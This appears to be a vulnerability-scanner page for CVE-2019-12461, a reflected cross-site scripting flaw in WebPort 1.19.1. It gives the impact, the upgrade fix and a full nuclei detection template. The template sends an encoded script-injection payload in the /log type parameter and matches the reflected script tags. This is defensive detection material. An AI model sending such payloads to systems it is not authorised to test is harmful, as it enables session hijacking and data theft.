WebPort 1.19.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

9.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version of WebPort (1.19.2 or higher) which includes a fix for this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E
Positive when: contains "\"</script><script>alert(document.domain);</script><script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2019-12461 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12461

info:
  name: WebPort 1.19.1 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Web Port 1.19.1 is vulnerable to cross-site scripting via the /log type parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version of WebPort (1.19.2 or higher) which includes a fix for this vulnerability.
  reference:
    - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
    - https://webport.se/nedladdningar/
    - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS/
    - https://emreovunc.com/blog/en/WebPort-Reflected-XSS-02.png
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12461
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12461
    cwe-id: CWE-79
    epss-score: 0.09256
    epss-percentile: 0.95398
    cpe: cpe:2.3:a:webport:web_port:1.19.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: webport
    product: web_port
  tags: cve,cve2019,xss,webport,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"</script><script>alert(document.domain);</script><script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from